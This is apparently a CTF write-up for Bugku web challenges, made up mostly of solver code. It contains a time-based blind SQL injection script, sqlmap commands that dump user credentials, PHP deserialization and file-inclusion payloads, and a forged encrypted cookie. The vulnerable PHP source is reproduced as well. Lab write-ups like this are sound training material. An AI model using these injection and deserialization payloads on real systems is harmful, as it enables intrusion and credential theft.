Bugku论剑场WriteUp(Web)

1
2
3
4
5
6
7
8
9

import requests
import re

session = requests.session()   # 创建session
r = session.get('http://123.206.31.85:10002/')   # 请求URL
formula = re.findall('<br/>\n(.*?)</p>', r.text,re.S)   # 通过正则表达式搜索算式
result = eval(formula[0])   # 使用eval()函数计算算式得到结果
r = session.post('http://123.206.31.85:10002/', data = {"result": result})   # 使用POST提交结果
print(r.text)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

import requests
import hashlib
# import string

def md5(key):
    m = hashlib.md5()
    m.update(key.encode('utf-8'))
    return m.hexdigest()

# 最开始尝试使用数字和字母结合的字符串去尝试，发现跑半天跑不出来，没想到单用数字就可以了
# dic = string.printable[:62]
# for i in dic:
#   for j in dic:
#     for k in dic:
#       for l in dic:
#         s = i + j + k + l
#         if md5(s)[:6] == 'dcbf93':
#           print(s)
#           exit()

for i in range(1000000):
    if md5(str(i))[:6] == 'dcbf93':
        print(i)
        break

1
2
3
4
5
6
7
8
9

import requests
import base64

session = requests.session()
pwd = {"password": "123456"}
r = session.post("http://123.206.31.85:10013/index.php",data=pwd)
pwd1 = base64.b64decode(r.headers['password'])[5:-1]
r = session.post("http://123.206.31.85:10013/index.php",data={"password": pwd1})
print(r.text)

1
2
3

asc = [102, 108, 97, 103, 123, 109, 97, 121, 97, 104, 101, 105, 49, 57, 54, 53, 97, 101, 55, 53, 54, 57, 125]
for each in asc:
    print(chr(each), end="")

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

import requests
import re

while(True):
    s = requests.session()
    r = s.get("http://123.206.31.85:10020")
    code = re.findall("[0-9a-z]+",r.text)
    r = s.get("http://123.206.31.85:10020/?key="+code[0])
    r.encoding="utf-8"
    print(r.text)

1
2
3
4
5
6
7
8

// index.php
<?php
echo "I Think Git Is Very NB!!!";
?>

//flag.php
flag{GitIsAFreeVessionControlSyStem}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50

//class.php
<?php
error_reporting(E_ALL & ~E_NOTICE);

class Read{//f1a9.php
    public $file;
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
        }
        return "__toString was called!";
    }
}
?>

//index.php
<?php
error_reporting(E_ALL & ~E_NOTICE);
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];

if(isset($user)&&(file_get_contents($user,'r')==="admin")){
    echo "hello admin!<br>";
    if(preg_match("/f1a9/",$file)){
        exit();
    }else{
        include($file); //class.php
        $pass = unserialize($pass);
        echo $pass;
    }
}else{
    echo "you are not admin ! ";
}

?>

<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];

if(isset($user)&&(file_get_contents($user,'r')==="admin")){
    echo "hello admin!<br>";
    include($file); //class.php
}else{
    echo "you are not admin ! ";
}
-->

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

<?php
class Read{
    public $file;
}
$r = new Read();
$r->file = "f1a9.php";
echo serialize($r)
?>

// Output: O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19

import requests

header = { ...... } # 自行填写

url = "http://123.206.31.85:10019/eXpl0ve5p0cVeRymuCh/index.php"
ascii_dict = list(range(32, 127))
params = {
    'username': '',
    'password': ''
}

print("Start attacking")
print("URL: "+url)

for i in range(101):
    for each in ascii_dict:
        params['username'] = "admin' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='web19' limit 0,1),%s,1))=%s,sleep(5),1) #" %(str(i),str(each))
        r = requests.post(url, data=params, headers=header)
        print(r.status_code, chr(each))

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

# 猜数据库名
❯❯❯ python .\sqlmap.py -u "http://123.206.31.85:10019/eXpl0ve5p0cVeRymuCh/index.php" --forms --dbs

# 猜表名
❯❯❯ python .\sqlmap.py -u "http://123.206.31.85:10019/eXpl0ve5p0cVeRymuCh/index.php" -D web19 --forms --tables

# 猜列名
❯❯❯ python .\sqlmap.py -u "http://123.206.31.85:10019/eXpl0ve5p0cVeRymuCh/index.php" -D web19 -T user --forms --columns
❯❯❯ python .\sqlmap.py -u "http://123.206.31.85:10019/eXpl0ve5p0cVeRymuCh/index.php" -D web19 -T hlnt_2 --forms --columns

# 猜数据
❯❯❯ python .\sqlmap.py -u "http://123.206.31.85:10019/eXpl0ve5p0cVeRymuCh/index.php" -D web19 -T user -C "username,password" --forms --dump
❯❯❯ python .\sqlmap.py -u "http://123.206.31.85:10019/eXpl0ve5p0cVeRymuCh/index.php" -D web19 -T hlnt_2 -C "hInt" --forms --dump

1
2
3

$s = new Small_white_rabbit("the_f1ag.php");
echo base64_encode(serialize($s));
// Output: TzoxODoiU21hbGxfd2hpdGVfcmFiYml0IjoxOntzOjI0OiIAU21hbGxfd2hpdGVfcmFiYml0AGZpbGUiO3M6MTI6InRoZV9mMWFnLnBocCI7fQ==

1
2

// script.js
eval(function(p,a,c,k,e,r){e=function(c){return(c<62?'':e(parseInt(c/62)))+((c=c%62)>35?String.fromCharCode(c+29):c.toString(36))};if('0'.replace(0,e)==0){while(c--)r[e(c)]=k[c];k=[function(e){return r[e]||e}];e=function(){return'[57-9abd-hj-zAB]'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('7 s(t){5 m=t+"=";5 8=9.cookie.n(\';\');o(5 i=0;i<8.d;i++){5 c=8[i].trim();u(c.v(m)==0)p c.substring(m.d,c.d)}p""}7 w(a){5 x=new Base64();5 q=x.decode(a);5 r="";o(i=0;i<q.d;i++){5 b=q[i].charCodeAt();b=b^i;b=b-((i%10)+2);r+=String.fromCharCode(b)}p r}7 ertqwe(){5 y="user";5 a=s(y);a=decodeURIComponent(a);5 z=w(a);5 8=z.n(\';\');5 e="";o(i=0;i<8.d;i++){u(-1<8[i].v("A")){e=8[i+1].n(":")[2]}}e=e.B(\'"\',"").B(\'"\',"");9.write(\'<img id="f-1" g="h/1-1.k">\');j(7(){9.l("f-1").g="h/1-2.k"},1000);j(7(){9.l("f-1").g="h/1-3.k"},2000);j(7(){9.l("f-1").g="h/1-4.k"},3000);j(7(){9.l("f-1").g="h/6.png"},4000);j(7(){alert("你使用如来神掌打败了蒙老魔，但不知道是真身还是假身，提交试一下吧!A{"+md5(e)+"}")},5000)}',[],38,'|||||var||function|ca|document|temp|num||length|key|attack|src|image||setTimeout|jpg|getElementById|name|split|for|return|result|result3|getCookie|cname|if|indexOf|decode_create|base|temp_name|mingwen|flag|replace'.split('|'),0,{}))

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54

// Decrypted script.js
function getCookie(cname) {
    var name = cname + "=";
    var ca = document.cookie.split(';');
    for (var i = 0; i < ca.length; i++) {
        var c = ca[i].trim();
        if (c.indexOf(name) == 0) return c.substring(name.length, c.length)
    }
    return ""
}

function decode_create(temp) {
    var base = new Base64();
    var result = base.decode(temp);
    var result3 = "";
    for (i = 0; i < result.length; i++) {
        var num = result[i].charCodeAt();
        num = num ^ i;
        num = num - ((i % 10) + 2);
        result3 += String.fromCharCode(num)
    }
    return result3
}

function ertqwe() {
    var temp_name = "user";
    var temp = getCookie(temp_name);
    temp = decodeURIComponent(temp);
    var mingwen = decode_create(temp);
    var ca = mingwen.split(';');
    var key = "";
    for (i = 0; i < ca.length; i++) {
        if (-1 < ca[i].indexOf("flag")) {
            key = ca[i + 1].split(":")[2]
        }
    }
    key = key.replace('"', "").replace('"', "");
    document.write('<img id="attack-1" src="image/1-1.jpg">');
    setTimeout(function() {
        document.getElementById("attack-1").src = "image/1-2.jpg"
    }, 1000);
    setTimeout(function() {
        document.getElementById("attack-1").src = "image/1-3.jpg"
    }, 2000);
    setTimeout(function() {
        document.getElementById("attack-1").src = "image/1-4.jpg"
    }, 3000);
    setTimeout(function() {
        document.getElementById("attack-1").src = "image/6.png"
    }, 4000);
    setTimeout(function() {
        alert("你使用如来神掌打败了蒙老魔，但不知道是真身还是假身，提交试一下吧!flag{" + md5(key) + "}")
    }, 5000)
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

function encode_create(temp) {
    var base = new Base64();
    var result3 = "";
    for (i = 0; i < temp.length; i++) {
        var num = temp[i].charCodeAt();

        num = num + ((i % 10) + 2);
        num = num ^ i;
        document.write(num + " ");
        result3 += String.fromCharCode(num)
    }
    var result = base.encode(result3);
    return result
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

<?php
    $payload = 'O:5:"human":10:{s:8:"xueliang";i:850;s:5:"neili";i:879;s:5:"lidao";i:53;s:6:"dingli";i:87;s:7:"waigong";i:0;s:7:"neigong";i:0;s:7:"jingyan";i:0;s:6:"yelian";i:0;s:5:"money";i:100000000;s:4:"flag";s:1:"0";}';
    $result = "";
    for($i = 0; $i < strlen($payload); $i++){
        $num = ord($payload[$i]);
        $num = $num + (($i % 10) + 2);
        $num = $num ^ $i;
        $result = $result.chr($num);
    }
    echo urlencode(base64_encode($result));
?>